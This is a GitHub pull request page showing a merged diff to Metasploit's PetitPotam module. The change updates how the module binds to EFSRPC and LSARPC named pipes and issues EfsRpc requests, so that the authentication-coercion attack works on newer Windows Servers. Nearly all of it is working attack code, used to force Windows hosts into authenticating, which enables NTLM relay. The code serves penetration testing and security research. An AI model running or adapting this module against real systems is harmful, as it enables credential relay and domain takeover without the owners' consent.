Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Update PetitPotam For New Windows Servers #18622

Merged
merged 4 commits into from
Dec 15, 2023
Merged
Changes from 2 commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
84 changes: 60 additions & 24 deletions modules/auxiliary/scanner/dcerpc/petitpotam.rb
Original file line number Diff line number Diff line change
Expand Up @@ -6,36 +6,38 @@
require 'windows_error'
require 'ruby_smb'
require 'ruby_smb/error'
require 'ruby_smb/dcerpc/encrypting_file_system'
require 'ruby_smb/dcerpc/lsarpc'
require 'ruby_smb/dcerpc/efsrpc'

class MetasploitModule < Msf::Auxiliary
include Msf::Exploit::Remote::DCERPC
include Msf::Exploit::Remote::SMB::Client::Authenticated
include Msf::Auxiliary::Scanner

EncryptingFileSystem = RubySMB::Dcerpc::EncryptingFileSystem
include Msf::Auxiliary::Report

METHODS = %w[EfsRpcOpenFileRaw EfsRpcEncryptFileSrv EfsRpcDecryptFileSrv EfsRpcQueryUsersOnFile EfsRpcQueryRecoveryAgents].freeze
# The LSARPC UUID should be used for all pipe handles, except for the efsrpc one. For that one use
# Efsrpc and it's normal UUID
PIPE_HANDLES = {
lsarpc: {
uuid: EncryptingFileSystem::LSARPC_UUID,
opts: ['\\lsarpc'.freeze]
endpoint: RubySMB::Dcerpc::Lsarpc,
filename: 'lsarpc'.freeze
},
efsrpc: {
uuid: EncryptingFileSystem::EFSRPC_UUID,
opts: ['\\efsrpc'.freeze]
endpoint: RubySMB::Dcerpc::Efsrpc,
filename: 'efsrpc'.freeze
},
samr: {
uuid: EncryptingFileSystem::LSARPC_UUID,
opts: ['\\samr'.freeze]
endpoint: RubySMB::Dcerpc::Lsarpc,
filename: 'samr'.freeze
},
lsass: {
uuid: EncryptingFileSystem::LSARPC_UUID,
opts: ['\\lsass'.freeze]
endpoint: RubySMB::Dcerpc::Lsarpc,
filename: 'lsass'.freeze
},
netlogon: {
uuid: EncryptingFileSystem::LSARPC_UUID,
opts: ['\\netlogon'.freeze]
endpoint: RubySMB::Dcerpc::Lsarpc,
filename: 'netlogon'.freeze
}
}.freeze

Expand Down Expand Up @@ -78,19 +80,32 @@ def run_host(_ip)
rescue Rex::Proto::SMB::Exceptions::Error, RubySMB::Error::RubySMBError => e
fail_with(Failure::NoAccess, "Unable to authenticate ([#{e.class}] #{e}).")
end
report_service(service_data)

begin
tree = simple.client.tree_connect("\\\\#{sock.peerhost}\\IPC$")
rescue RubySMB::Error::RubySMBError => e
raise StandardError, "Unable to connect to the remote IPC$ share ([#{e.class}] #{e})."
end

handle_args = PIPE_HANDLES[datastore['PIPE'].to_sym]
fail_with(Failure::BadConfig, "Invalid pipe: #{datastore['PIPE']}") unless handle_args

@handle = dcerpc_handle(
handle_args[:uuid],
# rename tree_file
@pipe = tree.open_file(filename: handle_args[:filename], write: true, read: true)
handle = dcerpc_handle(
Copy link
Contributor Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Technically this handle isn't used for anything but printing stats information anymore. IMHO the verbosity with which it prints the endpoint and the UUID is extremely helpful in this scenario because the nature of the attack uses uncommon UUID and endpoint combinations. For that reason, I opted to keep this output.

handle_args[:endpoint]::UUID,
handle_args.fetch(:version, '1.0'),
handle_args.fetch(:protocol, 'ncacn_np'),
handle_args[:opts]
["\\#{handle_args[:filename]}"]
)
vprint_status("Binding to #{handle} ...")
@pipe.bind(
endpoint: handle_args[:endpoint],
auth_level: RubySMB::Dcerpc::RPC_C_AUTHN_LEVEL_PKT_PRIVACY,
auth_type: RubySMB::Dcerpc::RPC_C_AUTHN_WINNT
)
vprint_status("Binding to #{@handle} ...")
dcerpc_bind(@handle)
vprint_status("Bound to #{@handle} ...")
vprint_status("Bound to #{handle} ...")

if datastore['METHOD'] == 'Automatic'
methods = METHODS
Expand All @@ -107,8 +122,14 @@ def run_host(_ip)
if response.nil?
unless method == methods.last
# rebind if we got a DCERPC error (as indicated by no response) and there are more methods to try
vprint_status("Rebinding to #{@handle} ...")
dcerpc_bind(@handle)
vprint_status("Rebinding to #{handle} ...")
@pipe.close
@pipe = tree.open_file(filename: handle_args[:filename], write: true, read: true)
@pipe.bind(
endpoint: handle_args[:endpoint],
auth_level: RubySMB::Dcerpc::RPC_C_AUTHN_LEVEL_PKT_PRIVACY,
auth_type: RubySMB::Dcerpc::RPC_C_AUTHN_WINNT
)
end

next
Expand All @@ -130,15 +151,30 @@ def run_host(_ip)
end

def efs_call(name, **kwargs)
request = EncryptingFileSystem.const_get("#{name}Request").new(**kwargs)
request = RubySMB::Dcerpc::Efsrpc.const_get("#{name}Request").new(**kwargs)

begin
raw_response = dcerpc.call(request.opnum, request.to_binary_s)
raw_response = @pipe.dcerpc_request(
request,
auth_level: RubySMB::Dcerpc::RPC_C_AUTHN_LEVEL_PKT_PRIVACY,
auth_type: RubySMB::Dcerpc::RPC_C_AUTHN_WINNT
)
rescue Rex::Proto::DCERPC::Exceptions::Fault => e
print_error "The #{name} Encrypting File System RPC request failed (#{e.message})."
return nil
end

EncryptingFileSystem.const_get("#{name}Response").read(raw_response)
RubySMB::Dcerpc::Efsrpc.const_get("#{name}Response").read(raw_response)
end

def service_data
{
host: rhost,
port: rport,
host_name: simple.client.default_name,
proto: 'tcp',
name: 'smb',
info: "Module: #{fullname}, last negotiated version: SMBv#{simple.client.negotiated_smb_version} (dialect = #{simple.client.dialect})"
}
end
end
Loading